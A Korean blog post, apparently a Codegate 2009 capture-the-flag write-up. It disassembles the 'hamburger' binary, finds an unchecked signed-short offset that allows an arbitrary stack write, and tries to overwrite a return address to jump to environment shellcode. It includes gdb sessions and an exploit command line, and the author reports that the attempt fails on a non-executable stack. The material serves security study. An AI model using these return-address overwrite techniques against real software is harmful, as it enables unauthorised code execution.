codegate 2009. hamburger

2009. 8. 14. 17:54

hamburger 를 실행해 보았다.



인자를 3개를 받는 다는 것을 알 수 있다. nm으로 심볼을 확인. cpy와 main이 보인다.



main 을 간략하게 분석해보았다.


 08048518 <main>:
 8048518: 8d 4c 24 04             lea    0x4(%esp),%ecx
 804851c: 83 e4 f0                 and    $0xfffffff0,%esp
 804851f: ff 71 fc                   pushl  -0x4(%ecx)
 8048522: 55                         push   %ebp
 8048523: 89 e5                     mov    %esp,%ebp
 8048525: 51                         push   %ecx
 8048526: 81 ec 24 80 00 00    sub    $0x8024,%esp
 804852c: 89 8d e4 7f ff ff        mov    %ecx,-0x801c(%ebp)
 8048532: 8d 95 f3 7f ff ff         lea    -0x800d(%ebp),%edx
 8048538: b8 ff 7f 00 00           mov    $0x7fff,%eax
 804853d: 89 44 24 08             mov    %eax,0x8(%esp)
 8048541: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048548: 00
 8048549: 89 14 24              mov    %edx,(%esp)
 804854c: e8 6f fe ff ff          call   80483c0 <memset@plt>
 8048551: 8b 85 e4 7f ff ff     mov    -0x801c(%ebp),%eax   
 8048557: 83 38 04              cmpl   $0x4,(%eax)             argc 와 4를 cmp

 804855a: 74 27                  je      8048583 <main+0x6b>
 804855c: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 8048562: 8b 42 04              mov    0x4(%edx),%eax
 8048565: 8b 00                  mov    (%eax),%eax
 8048567: 89 44 24 04           mov    %eax,0x4(%esp)
 804856b: c7 04 24 20 87 04 08  movl   $0x8048720,(%esp)      
 8048572: e8 89 fe ff ff        call   8048400 <printf@plt>        argc가 4가 아니면 usuage... 를 찍고 종료
 8048577: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 804857e: e8 ad fe ff ff        call   8048430 <exit@plt>

 8048583: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 8048589: 8b 41 04              mov    0x4(%ecx),%eax
 804858c: 83 c0 08              add    $0x8,%eax            
804858f: 8b 00                 mov    (%eax),%eax
 8048591: 89 04 24              mov    %eax,(%esp)
 8048594: e8 77 fe ff ff        call   8048410 <
atoi@plt>      argv[2]를 atoi
 8048599: 66 89 45 f2           mov    %ax,-0xe(%ebp)       리턴값을 ebp -0xe로

 804859d: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 80485a3: 8b 42 04              mov    0x4(%edx),%eax
 80485a6: 83 c0 0c              add    $0xc,%eax
 80485a9: 8b 00                 mov    (%eax),%eax
 80485ab: 89 04 24              mov    %eax,(%esp)
 80485ae: e8 5d fe ff ff        call   8048410 <
atoi@plt>      argv[3]을 atoi
 80485b3: 89 45 f4              mov    %eax,-0xc(%ebp)      리턴값을 ebp-0xc로

 80485b6: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485bc: 8b 41 04              mov    0x4(%ecx),%eax
 80485bf: 83 c0 04              add    $0x4,%eax
 80485c2: 8b 00                 mov    (%eax),%eax
 80485c4: 89 04 24              mov    %eax,(%esp)
 80485c7: e8 24 fe ff ff        call   80483f0 <
strlen@plt>    strlen(argv[1]) 호출
 80485cc: 89 45 f8              mov    %eax,-0x8(%ebp)      리턴값을 ebp-0x8로

 80485cf: 81 7d f8 ff 7f 00 00  cmpl   $0x7fff,-0x8(%ebp)    0x7fff(32767)와 ebp-0x8을 비교
 80485d6: 7e 18                 jle    80485f0 <main+0xd8>
 80485d8: c7 04 24 3f 87 04 08  movl   $0x804873f,(%esp) 
 80485df: e8 3c fe ff ff        call   8048420 <puts@plt>       07fff 보다 크면 string is too long 을 찍고 종료
 80485e4: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 80485eb: e8 40 fe ff ff        call   8048430 <exit@plt>

 80485f0: 8b 55 f8              mov    -0x8(%ebp),%edx          
 80485f3: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485f9: 8b 41 04              mov    0x4(%ecx),%eax
 80485fc: 83 c0 04              add    $0x4,%eax                    
 80485ff: 8b 00                 mov    (%eax),%eax
 8048601: 89 54 24 08           mov    %edx,0x8(%esp)     strlen(argv[1]) 의 리턴값을 esp+8로 (size)
 8048605: 89 44 24 04           mov    %eax,0x4(%esp)      argv[1]을 esp+4로 (src)
 8048609: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax    
 804860f: 89 04 24              mov    %eax,(%esp)             ebp-0x800d 를 esp로 (dest)
 8048612: e8 c9 fd ff ff        call   80483e0 <memcpy@plt>  call memcpy

 8048617: 0f b7 45 f2          movzwl -0xe(%ebp),%eax  
 804861b: 0f bf d0             movswl %ax,%edx              
 804861e: 8b 45 f4             mov    -0xc(%ebp),%eax    
 8048621: 89 44 24 08         mov    %eax,0x8(%esp)     atoi(argv[3])의 리턴값을 esp+8에
 8048625: 89 54 24 04         mov    %edx,0x4(%esp)     atoi(argv[2])의 리턴값을 esp+4에
 8048629: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax   ebp-0x800d 를 esp로
 804862f: 89 04 24              mov    %eax,(%esp)
 8048632: e8 bd fe ff ff         call   80484f4 <cpy> 

 8048637: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax
 804863d: 89 04 24              mov    %eax,(%esp)
 8048640: e8 db fd ff ff        call   8048420 <puts@plt>
 8048645: 81 c4 24 80 00 00     add    $0x8024,%esp
 804864b: 59                    pop    %ecx
 804864c: 5d                    pop    %ebp
 804864d: 8d 61 fc              lea    -0x4(%ecx),%esp
 8048650: c3                    ret 

cpy도 살펴보자.

 080484f4 <cpy>:
 80484f4: 55                    push   %ebp
 80484f5: 89 e5                 mov    %esp,%ebp
 80484f7: 83 ec 14              sub    $0x14,%esp
 80484fa: 8b 45 0c              mov    0xc(%ebp),%eax
 80484fd: 66 89 45 ec    mov    %ax,-0x14(%ebp)    ebp+0xc(2번째 인자)를 ebp-0x14에 저장
 8048501: 8b 55 08              mov    0x8(%ebp),%edx              ebp+0x8(첫번째 인자)를 edx에
 8048504: 0f bf 45 ec           movswl -0x14(%ebp),%eax         ebp-0x14를  eax에 넣고
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax   edx+eax 한 값을 eax로
 804850b: 89 45 fc               mov    %eax,-0x4(%ebp)      
 804850e: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048511: 8b 45 10              mov    0x10(%ebp),%eax   ebp+0x10(3번째 인자)를 eax로
 8048514: 89 02                 mov    %eax,(%edx)          eax를 edx가 가리키는 번지로 옮긴다.
                                                                          즉 3번째 아규먼트를 edx+eax 한 주소에 집어넣는다.
 8048516: c9                    leave 
 8048517: c3                    ret


대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지
않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.



Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.


생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------


위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax
         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     


ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)


 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..
문제가 무엇인지 디버깅을 해보았더니 세번째 입력값인 Value가
최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.




현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.



둘이 어떤 차이가 있고 무엇 때문에 실행이 안되는지 조만간 수정해서 다시 올리겠다..

anyway failed. :(








'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux